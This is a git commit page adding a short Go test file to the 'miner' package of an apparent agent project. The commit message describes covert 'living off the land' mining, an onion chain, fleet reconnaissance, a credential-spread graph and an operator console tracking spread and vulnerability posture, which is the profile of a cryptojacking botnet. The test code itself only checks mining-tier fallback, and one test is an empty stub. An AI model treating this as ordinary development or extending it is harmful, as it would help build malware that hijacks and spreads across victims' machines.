Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
26
agent/miner/pyopencl_test.go
Normal file
26
agent/miner/pyopencl_test.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
|
||||
chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
|
||||
out := appendLinuxPyOpenCL(chain)
|
||||
if len(out) != len(chain) {
|
||||
t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("platform-specific")
|
||||
}
|
||||
origCUDA := DetectCUDA
|
||||
origPy := DetectPyOpenCL
|
||||
defer func() {
|
||||
// restore stubs on non-linux
|
||||
}()
|
||||
_ = origCUDA
|
||||
_ = origPy
|
||||
}
|
||||
Reference in New Issue
Block a user